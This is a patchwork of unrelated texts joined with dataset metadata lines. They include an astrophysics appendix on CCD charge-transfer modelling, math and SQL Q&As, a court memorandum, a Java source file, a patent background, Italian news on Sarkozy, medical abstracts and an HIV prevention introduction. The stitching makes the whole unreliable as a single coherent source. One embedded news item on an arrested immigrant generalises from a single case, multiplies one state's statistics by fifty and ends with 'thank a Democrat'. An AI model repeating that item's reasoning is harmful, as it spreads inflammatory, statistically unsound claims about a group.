![The well fill power $\beta$ measured from the integrated EPER CTI as a function of input signal. The *upper panel* shows the results from the serial EPER measurements, for which CTI is present in the F and G quadrants and can be corrected using the E and H quadrants. The *lower panel* shows the results from the parallel EPER measurements, for which CTI is present in the F, G, and H quadrants and can be corrected using the E quadrant. Open symbols denote the raw measurements, filled symbols the calibrated measurements from which the fits for $\beta$ are derived.[]{data-label="fig:labbeta"}](figA2a.pdf "fig:"){width="85mm"}\
![The well fill power $\beta$ measured from the integrated EPER CTI as a function of input signal. The *upper panel* shows the results from the serial EPER measurements, for which CTI is present in the F and G quadrants and can be corrected using the E and H quadrants. The *lower panel* shows the results from the parallel EPER measurements, for which CTI is present in the F, G, and H quadrants and can be corrected using the E quadrant. Open symbols denote the raw measurements, filled symbols the calibrated measurements from which the fits for $\beta$ are derived.[]{data-label="fig:labbeta"}](figA2b.pdf "fig:"){width="85mm"}
In this Appendix, we define a baseline CTI model for [*Euclid*]{} VIS. Our model is based upon laboratory tests of an irradiated e2v Technologies back-illuminated *Euclid* prototype CCD273, analysed at ESA/ESTEC [@2014P1P]. The device was irradiated at ambient room temperature using $10.4$ MeV protons, degraded from a $38.5$ MeV primary proton beam at the Kernfysisch Versneller Instituut, Groningen, in April 2013. Two different shielding masks were used [@2014P1P] resulting in the four quadrants of the CCD, called E, F, G, and H, and corresponding to the four output nodes, receiving different radiation doses. Each a half of two quadrants, called G and H, received a $10$ MeV equivalent fluence of $4.8\times 10^{9}\,\mbox{protons}/\mbox{cm}^{-2}$, representative of the predicted end-of-life (eol) proton fluence for *Euclid*. Half of the F quadrant was irradiated with a $10$ MeV equivalent fluence of $2.4\times 10^{9}\,\mbox{protons}/\mbox{cm}^{-2}$, the $\mbox{eol}/2$ fluence. Neither the E quadrant, the serial register of the H quadrant, nor the readout nodes were irradiated [@2014V1V; @2014P1P].
At the ESA Payload Technology Validation section CCD test bench located at ESTEC [@2014V1V], the irradiated CCD273 was characterised at the *Euclid* VIS nominal conditions of $153\,\mbox{K}$ temperature and a $70\,\mbox{kHz}$ readout frequency. While a serial clocking scheme with the same width for each register phase at each step was used, minimising serial CTI, the nominal line/parallel transfer duration of $0.11\,\mbox{ms}$ was not optimised.
As part of the characterisation, a suite of extended pixel edge response (EPER) and first pixel response (FPR) experiments were performed, at different flatfield signal levels. For the purpose of deriving a fiducial baseline model of the charge traps present in the CCD273, we focus on the parallel and serial EPER data. To study the serial EPER (sEPER) CTI, a flatfield image is taken, then the half opposite to the readout direction is dumped; then the frame is read out. This yields a flatfield with a sharp trailing edge in flatfield signal. Electrons captured from flatfield pixels are being released into signal-less pixels, resulting in a CTI trail. Our parallel EPER (pEPER) tests make use of the parallel overscan region, providing a similar signal edge.
Each measurement was performed repeatedly, in order to gather statistics: $45$ times for the sEPER data at low signal, and $20$ times for the pEPER data. Raw trail profiles are extracted from the first $200$ pixels following the signal edge, taking the arithmetic mean over the independent lines perpendicular to the direction (serial or parallel) of interest. The same is done in the overscan region, unexposed to light, and the pixel-by-pixel median of this reference is subtracted as background from the raw trails. In the same way as the reference, the median flatfield signal is determined, and also corrected for the overscan reference. Finally, the trail (flatfield signal) at zero flatfield exposure time is subtracted from the trails (flatfield signals) at exposure times $>\!0$.
Figure \[fig:trails\] shows the resulting “uncalibrated” trail profiles for the sEPER (upper panel) and pEPER (lower panel) measurements in the G quadrant (eol radiation dose), at a flatfield exposure time corresponding to an average of $1018$ signal electrons per pixel. These are the upper solid lines with light grey shading denoting the propagated standard errors from the repeated experiments. Effects in the readout electronics mimic CTI. We correct for the electronic effect by subtracting the average trail in the unirradiated quadrants (E for pEPER, and E and H for sEPER). The resulting “calibrated” trail profiles and their uncertainties are presented as the lower solid lines and dark grey shadings in Fig. \[fig:trails\]. The calibration makes a small correction to the sEPER trail which is dominated by slow traps, yielding a significant signal out to $\sim\!60$ pixels. On the contrary, the electronic effect accounts for $1/3$ of the uncalibrated pEPER trail even in the first pixel, and for all of it beyond the tenth. Thus the $S/N$ in the calibrated trail is much lower.
The well fill power $\beta$
---------------------------
--------------------------------------- ----------- ----------- -----------
best-fit sEPER model $i\!=\!1$ $i\!=\!2$ $i\!=\!3$
Trap density $\rho_{i}$ \[px$^{-1}$\] $0.01$ $0.03$ $0.90$
Release timescale $\tau_{i}$ \[px\] $0.8$ $3.5$ $20.0$
best-fit pEPER model $i\!=\!1$ $i\!=\!2$ $i\!=\!3$
Trap density $\rho_{i}$ \[px$^{-1}$\] $0.13$ $0.25$ $--$
Release timescale $\tau_{i}$ \[px\] $1.25$ $4.4$ $--$
\[tab:models\]
--------------------------------------- ----------- ----------- -----------
: The same as Table \[tab:traps\], but for the best-fit models shown in Fig. \[fig:trails\]. The baseline well fill power is $\beta_{0}\!=\!0.58$.
In a volume-driven CTI model, the cloud of photoelectrons in any given pixel is assumed to fill up a height within the silicon that increases as electrons are added (Eq. \[eq:nenc\]). The growth of the cloud volume is governed by the term $\left(\frac{n_{\mathrm{e}}}{w}\right)^{\beta}\sum_{i}\rho_{i}$ in Eq. (\[eq:nenc\]), with the full-well depth $w\!=\!84700$ limiting the maximum number of electrons in a pixel. There is no supplementary buried channel in the CCD273, which for *HST*/ACS leads to the first $\sim100$ electrons effectively occupying zero volume [@2010MNRAS.401..371M].
{width="150mm"}
We use measurements of the integrated EPER as a function of input signal to constrain the well fill power $\beta$ of the trapping model. Our simulated galaxies are faint; so we restrict ourselves to the four lowest signal levels measured in the laboratory, with up to $\sim\!1000$ electrons. The input signal is measured as the average count difference between the flatfield and overscan regions, corrected for the CCD gain.
Figure \[fig:labbeta\] shows the CTI trails from Fig. \[fig:trails\], integrated over the first $12$ pixels. We checked that integrating over up to the full overscan region length of $200$ pixels does not change the results drastically. In the sEPER data (upper panel of Fig. \[fig:labbeta\]), the unirradiated quadrants E and H (open squares and diamonds) exhibit very small trail integrals (caused by the readout electronics); one order of magnitude smaller than in the irradiated quadrants F and G (open circle and triangle). Hence, calibrating out the instrumental effect by subtracting the arithmetic average from the E and H quadrants yields only a small correction to the F and G trail integrals. To these calibrated sEPER measurements (filled circle and triangle), we fit linear relations in log-log-space using the `IDL fitexy` routine and measure $\beta_{\mathrm{F,cal}}\!=\!0.49\pm0.04$ and $\beta_{\mathrm{G,cal}}\!=\!0.58\pm0.03$.
We repeat this procedure for the pEPER measurements where the unirradiated E quadrant shows a similar EPER integral than the irradiated F, G, and H quadrants (lower panel of Fig. \[fig:labbeta\]). Thus, the pEPER and sEPER integrals may yield similar values as a function of signal, but for pEPER the low $S/N\!\!\ll\!1$ causes large uncertainties. Consequently, $\beta$ is not well constrained, with $\beta_{\mathrm{F,cal}}\!=\!0.66\pm0.53$, $\beta_{\mathrm{G,cal}}\!=\!0.61\pm0.36$, and $\beta_{\mathrm{H,cal}}\!=\!0.61\pm0.89$, but they agree with the sEPER results.
In conclusion, we adopt a baseline well-fill power of $\beta_{0}\!=\!0.58$ for our further tests, based on the precise sEPER result for the full radiation dose.
From trail profiles to trap parameters {#sec:baseline}
--------------------------------------
To constrain the trap release time-scales $\tau_{i}$ and trap densities $\rho_{i}$, we make use of the two signal levels of $\sim\!360$ electrons and $\sim\!1000$ electrons that bracket the number of electrons we expect to be found in a typical faint *Euclid* galaxy. These are the two highest data points in Fig. \[fig:labbeta\]. We compare the average, measured, calibrated trails from the irradiated quadrants (examples for the G quadrant are presented in Fig. \[fig:trails\]) and compare them to the output a one-dimensional version of our @2014MNRAS.439..887M clocking routine produces given trap densities $\rho_{i}$ and release timescales $\tau_{i}$, and under circumstances close to the laboratory data (i.e. a $200$ pixel overscan region following a $2048$ pixel flatfield column of $1018$ signal electrons). The fitting is performed using the `MPFIT` implementation of the Levenberg-Marquardt algorithm for nonlinear regression [@2009ASPC..411..251M; @1978LNM..630..105M].
Fitting a sum of exponentials is remarkably sensitive to noise in the data because the parameters ($\tau_{i}$ and $\rho_{i}$) we are probing are intrinsically correlated. We assess the robustness of our results by repeating the fit not only for the two (three) irradiated sEPER (pEPER) quadrants at two signal levels, but for a wide range of trail lengths ($60\!<\!K\!<\!150)$ we consider, and with and without adding a constant term.
There are several possible trap species as defined by their $\tau_{i}$ that show up in our data set. We rule out those of very low densities and consider the frequent “species” whose time-scales are within a few percent of each other as one. Still, this leaves us with more than one contesting family of trap species that yet give similar trails in some of the quadrant/signal combinations. Because, at this stage, our goal is to derive *a plausible baseline model* rather than pinpointing the correct trap species, we filter for the most common $\tau_{i}$ and give precedence to the higher-$S/N$ data (sEPER, end-of-life dose, $1000$ signal electrons). The resulting best-fit models are shown in Table \[tab:models\] and Fig. \[fig:trails\]. The actual baseline model (Table \[tab:traps\]; short-dashed line in Fig. \[fig:trails\]) includes additional fast traps seen in the lower-$S/N$ data. We raise the density from $0.94$ traps per pixels to a mnemonic total of $1$ trap per pixel at end-of-life dose. More refined methods will be used to determine the trap species in a more detailed analysis of irradiated CCD273 data.
Because only $464$ pixels of the serial register in the test device were irradiated, the effective density of charge traps an electron clocked through it experiences is smaller by a factor of $464/2051$ than the actual trap density corresponding to the end-of-life radiation dose that was applied. We correct for this by quoting results that have been scaled up by a factor of $2051/(464\times0.94)\!\approx\!4.155$.
Example CTI trails {#sec:trailexamples}
------------------
Figure \[fig:models\] shows, for the largest deviations from the baseline trap model we consider, their effect on the shape of the CTI trails. Using our CTI model, we simulated the trail caused by a single pixel containing a signal of $\sim\!1000$ electrons, comparable to a hot pixel in actual CCD data.
\[lastpage\]
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Q:
Is it true that $A \cup (B - C) = (A \cup B) - (A \cup C)$?
I am brain farting on this question pretty hard, I'm asked to determine if
$$A \cup (B - C) = (A \cup B) - (A \cup C)$$
That is, determine if this set equality is true, and if not, which inclusions are true. I was able to show that equality fails by showing '$\subset$' does not hold using a relatively simple example, but I am having issues with opposite inclusion. My attempts began by assuming I had an arbitrary element $x \in (A \cup B) - (A \cup C)$ and tried to work my way down, but I haven't had much success.
Any help or hints would be appreciated, for I am too stubborn to move on to the next part without finishing this one.
A:
You started out right.
Suppose that $x\in(A\cup B)\setminus(A\cup C)$. Then by definition $x\in A\cup B$, and $x\notin A\cup C$. Since $x\notin A\cup C$, and $A\subseteq A\cup C$, you know that $x\notin A$. Thus, the only way to have $x\in A\cup B$ is to have $x\in B$. Now recall that $x\notin A\cup C$; this also implies that $x\notin C$, so $x\in B\setminus C$, and therefore $x\in A\cup(B\setminus C)$. Thus, $(A\cup B)\setminus(A\cup C)\subseteq A\cup(B\setminus C)$.
| {
"pile_set_name": "StackExchange"
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FILED
NOT FOR PUBLICATION JUL 24 2012
MOLLY C. DWYER, CLERK
UNITED STATES COURT OF APPEALS U .S. C O U R T OF APPE ALS
FOR THE NINTH CIRCUIT
SHANG ZHE PIAO, No. 10-70568
Petitioner, Agency No. A098-660-735
v.
MEMORANDUM *
ERIC H. HOLDER, Jr., Attorney General,
Respondent.
On Petition for Review of an Order of the
Board of Immigration Appeals
Submitted July 17, 2012 **
Before: SCHROEDER, THOMAS, and SILVERMAN, Circuit Judges.
Shang Zhe Piao, a native and citizen of China, petitions for review of the
Board of Immigration Appeals’ (“BIA”) order denying his motion to reopen
removal proceedings based on ineffective assistance of counsel. We have
jurisdiction under 8 U.S.C. § 1252. We review for abuse of discretion the denial of
*
This disposition is not appropriate for publication and is not precedent
except as provided by 9th Cir. R. 36-3.
**
The panel unanimously concludes this case is suitable for decision
without oral argument. See Fed. R. App. P. 34(a)(2).
a motion to reopen, and review de novo claims of due process violations.
Iturribarria v. INS, 321 F.3d 889, 894 (9th Cir. 2003). We deny the petition for
review.
The BIA did not abuse its discretion in denying Piao’s motion to reopen on
the ground that he presented insufficient evidence to establish prejudice resulting
from the alleged errors of his former counsel. See id at 900-02 (requiring prejudice
to prevail on an ineffective assistance claim).
In light of our disposition, we need not address Piao’s remaining contention
that the BIA erred in requiring him to comply with Matter of Lozada, 19 I. & N.
Dec. 637 (BIA 1988).
PETITION FOR REVIEW DENIED.
2 10-70568
| {
"pile_set_name": "FreeLaw"
} |
/*
* Copyright 2017-2018 B2i Healthcare Pte Ltd, http://b2i.sg
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.b2international.snowowl.snomed.datastore.request;
import com.b2international.commons.exceptions.BadRequestException;
import com.b2international.snowowl.core.date.DateFormats;
import com.b2international.snowowl.core.date.EffectiveTimes;
import com.b2international.snowowl.core.domain.TransactionContext;
import com.b2international.snowowl.snomed.common.SnomedRf2Headers;
import com.b2international.snowowl.snomed.core.domain.refset.SnomedRefSetType;
import com.b2international.snowowl.snomed.core.domain.refset.SnomedReferenceSet;
import com.b2international.snowowl.snomed.core.store.SnomedComponents;
import com.b2international.snowowl.snomed.core.store.SnomedModuleDependencyReferenceSetMemberBuilder;
import com.google.common.base.Strings;
/**
* @since 5.0
*/
final class SnomedModuleDependencyMemberCreateDelegate extends SnomedRefSetMemberCreateDelegate {
SnomedModuleDependencyMemberCreateDelegate(SnomedRefSetMemberCreateRequest request) {
super(request);
}
@Override
public String execute(SnomedReferenceSet refSet, TransactionContext context) {
checkRefSetType(refSet, SnomedRefSetType.MODULE_DEPENDENCY);
checkReferencedComponent(refSet);
checkComponentExists(refSet, context, SnomedRf2Headers.FIELD_MODULE_ID, getModuleId());
checkComponentExists(refSet, context, SnomedRf2Headers.FIELD_REFERENCED_COMPONENT_ID, getReferencedComponentId());
SnomedModuleDependencyReferenceSetMemberBuilder builder = SnomedComponents.newModuleDependencyMember()
.withId(getId())
.withActive(isActive())
.withReferencedComponent(getReferencedComponentId())
.withModule(getModuleId())
.withRefSet(getReferenceSetId());
try {
if (hasProperty(SnomedRf2Headers.FIELD_SOURCE_EFFECTIVE_TIME)) {
String sourceEffectiveTime = getProperty(SnomedRf2Headers.FIELD_SOURCE_EFFECTIVE_TIME);
builder.withSourceEffectiveTime(Strings.isNullOrEmpty(sourceEffectiveTime) ? null : EffectiveTimes.parse(sourceEffectiveTime, DateFormats.SHORT));
}
} catch (IllegalArgumentException e) {
if (e.getMessage().contains("Error while parsing date")) {
throw new BadRequestException(e.getMessage());
}
}
try {
if (hasProperty(SnomedRf2Headers.FIELD_TARGET_EFFECTIVE_TIME)) {
String targetEffectiveTime = getProperty(SnomedRf2Headers.FIELD_TARGET_EFFECTIVE_TIME);
builder.withTargetEffectiveTime(Strings.isNullOrEmpty(targetEffectiveTime) ? null : EffectiveTimes.parse(targetEffectiveTime, DateFormats.SHORT));
}
} catch (IllegalArgumentException e) {
if (e.getMessage().contains("Error while parsing date")) {
throw new BadRequestException(e.getMessage());
}
}
return builder.addTo(context).getId();
}
}
| {
"pile_set_name": "Github"
} |
Q:
How to do a MySQL select query on two tables linked by another table
Suppose I have a table whose function is specifically to link two other tables in terms of OOP.
Suppose that I have two tables: one for person's name and another one for phone numbers:
Table 1:
id person's name
1 John
2 Smith
Table 2:
id Phone number
5 23424224
6 23424242
And then I have a third table that links the person and their respective phone numbers:
Table 3:
id person-id phone-number-id
1 1 5
2 2 6
Hence John has phone number 23424224 and Smith has phone number 23424242.
And I want to run an SQL query to fetch all persons from Table 1 whose phone number start with, let's say, (234).
How would I go about linking the select queries within this table structure...what query would I run?
A:
First, the only reason to do that table is if you have a many-to-many relation.
While a person can have many phone numbers, can really one phone number have many persons?
If that is true, then your schema implements that requirement, but that seems a little over-engineered to me :-)
Second, this is a fairly simple join. What you want to do is first select out the phone numbers in question, then given that, select out the person IDs from the third table, then given that, select the names from the first table. Something like:
SELECT t1.name as name, t2.number from table1 t1, table2 t2, table3 t3 where t2.number like '234%' and t3.personid = t1.id and t3.phoneid = t2.id;
You can also rewrite the "blah.id = blah.id" as a join if you need outer join semantics (include certain fields with NULLs).
| {
"pile_set_name": "StackExchange"
} |
1. Field of the Invention
The present invention relates to a fluid seal and, more particularly, to a shaft seal which may be suitably used in automotive shock absorbers and the like for sealing a reciprocating shaft which undergoes a substantial lateral thrust.
2. Description of the Prior Art
In an automotive shock absorber, the piston rod is sealed by a shaft seal with respect to the housing. The shaft seal includes a primary fluid sealing lip for sealing the oil side of the piston rod to prevent release of the hydraulic fluid contained in the housing. In most instances, the seal also includes a dust sealing lip for sealing the air side to protect the primary sealing lip from ingress of dust and dirt.
During operation of the shock absorber, the piston rod undergoes a substantial lateral thrust as the wheel hits a bump or when the automobile undergoes cornering. In particular, a severe lateral thrust is encountered in the MacPherson strut type suspension systems.
One of the problems which must be overcome in designing a shaft seal for shock absorber applications is to effectively prevent ingress of dust and dirt for a long period of time despite repeated lateral thrust.
Japanese Utility Model Kokai Publication No. 6-28429 discloses a shaft seal which is provided with an auxiliary dust sealing lip situated inwardly of the primary dust sealing lip. The auxiliary dust sealing lip is profiled in the form of an edge that functions to scrape incoming dust and dirt back to the air side.
The problem associated with the conventional shaft seal is that the auxiliary dust sealing lip undergoes a considerable wear so that the dust sealing function of the shaft seal is prematurely degraded.
It is therefore an object of the present invention to provide a shaft seal which is capable of providing a high degree of dust sealing capability for a long period of time. | {
"pile_set_name": "USPTO Backgrounds"
} |
Abbeyhill Junction
Abbeyhill Junction was a railway junction in Abbeyhill area of Edinburgh. It was used to connect the East Coast Main Line towards Abbeyhill railway station. Passenger services stopped using this line in the 1960s but briefly reopened in 1986 as a shuttle service was set up from Waverley station and Meadowbank Stadium railway station for the Commonwealth Games. Abbeyhill Junction signal box closed on 6 November 1938, when an old box at Waverley East took over control of the junction.
Closure
The junction closed in 1986 as the line was not being used any more, even for freight. In 1988, the tracks were disconnected at both ends of the line. The tracks remained, overgrown, for over 18 years until 2007 when the lines were dismantled and the area where the lines were was concreted over.
Category:Rail junctions in Scotland
Category:Railway lines in Scotland
Category:Transport in Edinburgh
Category:1986 disestablishments in Scotland | {
"pile_set_name": "Wikipedia (en)"
} |
"I expect him to come back and be the same that he was," Zimmer told reporters of Cook, who tumbled to the turf with the non-contact injury early in the third quarter against Detroit, a play that saw him also lose the ball for a fumble before grasping at his knee. | {
"pile_set_name": "OpenWebText2"
} |
Evaluation and management of corneal abrasions.
Corneal abrasions are commonly encountered in primary care. Patients typically present with a history of trauma and symptoms of foreign body sensation, tearing, and sensitivity to light. History and physical examination should exclude serious causes of eye pain, including penetrating injury, infective keratitis, and corneal ulcers. After fluorescein staining of the cornea, an abrasion will appear yellow under normal light and green in cobalt blue light. Physicians should carefully examine for foreign bodies and remove them, if present. The goals of treatment include pain control, prevention of infection, and healing. Pain relief may be achieved with topical nonsteroidal anti-inflammatory drugs or oral analgesics. Evidence does not support the use of topical cycloplegics for uncomplicated corneal abrasions. Patching is not recommended because it does not improve pain and has the potential to delay healing. Although evidence is lacking, topical antibiotics are commonly prescribed to prevent bacterial superinfection. Contact lens-related abrasions should be treated with antipseudomonal topical antibiotics. Follow-up may not be necessary for patients with small (4 mm or less), uncomplicated abrasions; normal vision; and resolving symptoms. All other patients should be reevaluated in 24 hours. Referral is indicated for any patient with symptoms that do not improve or that worsen, a corneal infiltrate or ulcer, significant vision loss, or a penetrating eye injury. | {
"pile_set_name": "PubMed Abstracts"
} |
Nicolas Sarkozy è in stato di fermo a Nanterre. L'ex presidente francese è stato convocato nell'ambito dell'indagine sul possibile finanziamento da parte della Libia della sua campagna elettorale del 2007. Al centro dell'inchiesta sui presunti finanziamenti dell'allora dittatore libico Muammar Gheddafi a Nicolas Sarkozy ci sarebbero 5 milioni di euro in denaro contante.
È la prima volta che Sarkozy viene interrogato su questo tema dall'apertura di un'indagine giudiziaria, nell'aprile 2013. Lo stato di fermo può durare fino a un massimo di 48 ore. Sarkozy potrebbe essere costretto a presentarsi davanti ai magistrati, al termine dei due giorni di custodia, per essere incriminato. Anche l'ex ministro e fedelissimo Brice Hortefeux è stato interrogato questa mattina, ma in libera audizione e contrariamente a Sarkozy non è in stato di fermo.
Nel 2012 il sito Mediapart aveva pubblicato documenti che parlavano di finanziamenti del leader libico Muammar Gheddafi alla corsa all'Eliseo di Sarkozy. Un'accusa da lui sempre smentita. L'ex capo di Stato, che si è ritirato dalla vita politica dopo la sconfitta alle primarie del novembre 2016 del centrodestra, è stato già rinviato a giudizio per non aver rispettato le regole sul finanziamento della sua campagna elettorale del 2012, avendo speso circa 20 milioni in più rispetto al tetto dei 22,5 milioni consentiti per legge.
A gennaio era stato arrestato all'aeroporto londinese di Heathrow il 58enne uomo d'affari francese Alexandre Djouhri per un mandato di arresto internazionale emesso dalla Francia: sarebbe stato lui a fare da tramite per il denaro con cui l'ex leader libico Muammar Gheddafi avrebbe finanziato la campagna elettorale di Sarkozy del 2007, quando venne eletto presidente. L'udienza per l'estradizione inizierà il 17 aprile. Nel 2011 fu proprio la Francia di Nicolas Sarkozy a spingere per l'attacco alla Libia che avrebbe poi accelerato il rovesciamento del regime di Gheddafi.
Il premier francese Edouard Philippe, intervistato questa mattina dai media francesi, ha detto di non voler fare "alcun commento" sul fermo di Nicolas Sarkozy, per rispetto nei confronti dell'ex presidente. | {
"pile_set_name": "OpenWebText2"
} |
1. Field of the Invention
The present invention relates to a sheet conveying apparatus used with an image forming apparatus or an image reading apparatus such as a copying machine, a scanner, a printer and the like. More particularly, it relates to a sheet conveying apparatus having a skew correction means for correcting skew-feed of a sheet conveyed to an image forming portion or an image reading portion.
2. Related Background Art
In some conventional image forming apparatuses and image reading apparatuses such as copying machines, a printers or scanners, a regist means acting as a skew correction means for correcting skew-feed of a sheet is disposed in front of an image forming portion or an image reading portion in order to correct posture and position of a sheet.
Among such regist means, there is a loop regist means in which a tip end of a sheet abuts against a nip between a pair of regist rollers which are now stopped to form a loop in the sheet, so that skew-feed of the sheet is corrected by aligning the tip end of the sheet with the nip by elasticity of the sheet. As another regist means, there is a shutter regist means in which a shutter member for stopping the tip end of the sheet is retractably disposed in a sheet convey path and the skew-feed of the sheet is corrected by retarding the shutter member from the sheet convey path after the tip end of the sheet is aligned with the shutter member.
Recently, as the image forming apparatus and the image reading apparatus have been digitalized. For example in the image forming apparatus, a substantial image forming speed has been increased by treating many sheets for a short time without increasing a process speed of image formation by decreasing a distance between the sheets (sheet interval). On the other hand, in conventional analogue apparatuses (for example, copying machines), even when a copying operation is continued after a single sheet (original) is read, an optical device for exposing the original must be reciprocated by times corresponding to the number of copies, so that the distance between the sheets (sheet interval) is determined accordingly.
However, since the image reading and the image formation are digitalized, after the original is read once, image information of the original is electrically can be coded to be stored in a memory. And, in the image formation, the information in the memory is read out, and an image corresponding to the image information of the original is formed on a photosensitive member by an exposure device such as laser light or an LED array. To this end, even when a plurality of copies are formed, a mechanical movement of the optical device is not required.
As a method for reducing a time for the abovementioned registration which is one of factors for determining the distance between the sheets (sheet interval), there has been proposed an active regist method for correcting the skew-feed of the sheet while conveying the sheet without stopping the sheet temporarily.
In this method, two sensors are disposed in the sheet convey path with a predetermined distance therebetween along a direction substantially perpendicular to the sheet conveying direction so that inclination of the sheet can be detected on the basis of signals representing the fact that the tip end of the sheet is detected by the respective sensors, and, by controlling sheet conveying speeds of a pair of regist rollers which are disposed coaxially in a direction substantially perpendicular to the sheet conveying direction and spaced apart from each other with a predetermined distance therebetween and which are driven independently, the skew-feed of the sheet is corrected. By effecting the skew correction without stopping the sheet temporarily in this way, the distance between the sheets (sheet interval) can be reduced more than the other methods.
However, in the above-mentioned conventional sheet conveying apparatus, and the image reading apparatus and the image forming apparatus having such a sheet conveying apparatus, when sizes of sheets to be conveyed are not constant or identical (particularly, when a sheet having a long size is conveyed), the skew correction should be effected by the pair of regist rollers while a trail end of the sheet is being pinched between a pair of upstream convey rollers.
Further, in the active regist method, the skew correction is effected by advancing delayed side of the sheet with respect to one of the pair of regist rollers for skew correction or by delaying advanced side of the sheet with respect to the other of the pair of regist rollers. However, in both cases, rotational movement of the entire sheet is required. Thus, in the condition that the trail end of the sheet is pinched between the pair convey rollers, it is difficult to rotate the sheet by a required amount, which makes the accurate skew correction difficult. Further, depending upon the size of the sheet, sliding resistance of a sheet convey guide is increased to worsen accuracy of the skew correction. | {
"pile_set_name": "USPTO Backgrounds"
} |
The Montgomery County Sheriff’s office in Conroe, Texas announced on Saturday the arrest of Jose Manuel Tiscareno Hernandez, a 31-years-old man. An illegal alien, Hernandez was deported back to Mexico multiple times.
There are no repercussions for these people, so they keep coming back again and again.
Hernandez was arrested for sexual abuse of an 11-year-old child — more than once.
THE PRESS RELEASE
On January 10, the Montgomery County Sheriff’s Office Special Victim’s Unit and Crime Scene Investigators executed a search warrant at a residence in the 400 Block of Gladstell in Conroe. The search warrant was for an investigation of Aggravated Sexual Assault of a Child. The victim was 11 years old when the abuse started.
During the execution of the search warrant at the suspect’s residence, the suspect was not home, but detectives received information that the suspect was intending to flee the United States and head back to Mexico.
An arrest warrant was filed and a second search warrant was executed on January 11, 2019, in a separate location to collect additional evidence.
@MCTXSheriff and numerous law enforcement agencies partner together to find and arrest sexual assault suspect. pic.twitter.com/uiB3wa5sK2 — MCTXSheriff (@MCTXSheriff) January 12, 2019
ONE OF SO MANY
Hernandez is only one pervert among many. There aren’t a lot of readily available statistics on the specific crime, but North Carolina Fire keeps a record of this type of crime in their state.
North Carolinians For Immigration Reform and Enforcement (NCFIRE) reports on their website on each sex crime against children monthly. In 2018, 215 illegal aliens committed at least 743 sexual molestations of children in North Carolina.
Multiply that by 50 states and D.C.
Oh, and thank a Democrat.
Build the wall! | {
"pile_set_name": "OpenWebText2"
} |
Atherosclerosis is a progressive inflammatory disease and the underlying cause of heart attack and stroke. Macrophages play a crucial role in the formation and progression of atherosclerotic lesions. Macrophage apoptosis occurs throughout all stages of atherosclerosis with a differential impact on lesion morphology in early versus late atherosclerosis. Loss of macrophages in early lesions is thought to reduce lesion size, whereas cell death in advanced lesions contributes to the necrotic core and plaque destabilization. Studies by Tabas and coworkers have demonstrated that defective phagocytic clearance results in apoptotic cell accumulation in atherosclerotic plaques. Here we propose that the intrinsic ability of macrophages to resist pro- apoptotic stimuli may be another important determinant of macrophage survival and apoptotic cell numbers in atherosclerotic lesions. There are two major pro-survival pathways, PI3K/Akt and NF-kB, and both are constitutively active in macrophages and macrophage-derived foam cells of atherosclerotic lesions. Recent studies in our laboratory have shown that genetic deficiency of the prostaglandin E2 receptor, EP4, in hematopoietic cells promotes macrophage apoptosis in atherosclerotic lesions by modulating the PI3K/Akt and NF-kB signaling pathways. Two Akt isoforms are expressed in macrophages, Akt1 and Akt2, yet their relative contributions to macrophage apoptosis and atherogenesis have not been determined. Interestingly, Akt has been reported to mediate signaling through IKKa that may activate the NF-kB pathways with its anti-apoptotic activity. We hypothesize that cross-talk between the Akt and NF-kB signaling pathways is a critical determinant of macrophage survival and atherogenesis. In this proposal we intend to define the contribution of distinct members of the Akt NF-kB signaling pathways, including Akt1, Akt2, and IKKa, to macrophage survival and atherosclerotic lesion formation. We hypothesize that both Akt-1 and Akt-2 contribute to macrophage survival but that deficiency of both isoforms will promote macrophage apoptosis to a greater extent than deficiency of either isoform alone. The goal of Specific Aim 1 is to examine the impact of hematopoietic cell deficiency of Akt1, Akt2, or both on macrophage survival and atherogenesis in LDLR-/- mice in vivo. The goal of Specific Aim 2 is to define the impact of macrophage deficiency of Akt1 and/or Akt2 on apoptosis and the Akt and NF- :B signaling pathways in vitro. Akt and IKKa are necessary for TORC1 formation in signal transduction. Therefore, we will examine the hypothesis that macrophage deficiency of Akt1 and/or Akt2 will suppress mTOR activity. In Specific Aim 3, we will examine the hypothesis that IKKa deficiency in hematopoietic cells will reduce macrophage survival and impact atherogenesis through alterations in the Akt and NF-:B signaling pathways. A better understanding of the molecular mechanisms of macrophage survival may provide new targets for the prevention of atherosclerosis and cardiovascular events. | {
"pile_set_name": "NIH ExPorter"
} |
Introduction {#sec1-1}
============
Globally, 36.9 (31.1--43.9) million people were estimated to be living with HIV in 2017. This is an increase from previous years and is thought to be because more people are currently receiving the life-saving antiretroviral therapy (ART). There were 1.8 (1.4--2.4) million new cases of HIV infection globally each year, showing a 47% decline from the 3.4 (3.1--3.7) million in 1996.\[[@ref1]\] India has been categorized as a nation with a low prevalence of HIV with seroprevalence rates of less than 1%,\[[@ref2]\] and the adult HIV incidence has decreased by more than 50% from 2001 to 2013. The current prevalence of HIV among antenatal women in the country is 0.35%, which also shows a declining trend.\[[@ref2]\]
The first case of immunodeficiency virus in India was reported in Chennai in 1986.\[[@ref3]\] In 1987, the National AIDS Control Programme (NACP) was launched under the Ministry of Health and Family Welfare, Government of India, to coordinate national responses to the spread of infection. Its activities included surveillance, blood screening, and health education for HIV. To prevent mother-to-child transmission (MTCT) of HIV, the most important source of HIV in children less than 15 years of age, the Prevention of Parent-To-Child Transmission (PPTCT) program was launched under the NACP in 2002. PPTCT is the largest national antenatal screening program in the world.\[[@ref4]\]
The NACO Technical Estimate Report (2015) estimated that 35,255 of 29 million annual pregnancies in India occur in HIV-positive women. In the absence of any intervention, an estimated (2015) 10,361 infected babies will be born annually. The PPTCT program aims to prevent the perinatal transmission of HIV from the HIV-infected mother to her newborn baby. The program entails counseling, testing, and treatment of pregnant women.
In India, the diagnosis and treatment of HIV is largely concentrated in areas with high HIV prevalence; Tamil Nadu is one of these states. However, the seroprevalence rate in Tamil Nadu, which was 1.6% among antenatal women in 2001, has come down to 0.5% in 2005.\[[@ref5]\]
Prevention of HIV in India has been based on the assumption that the principal drivers of the epidemic are individuals in high-risk groups, such as commercial sex workers and men who have sex with men.\[[@ref6]\] Though targeting these high-risk groups has remarkably lowered the prevalence of HIV, it is uncertain whether these methods can be used in rural populations where these high-risk groups form a minority. Therefore, other strategies to lower HIV prevalence in rural populations are necessary.
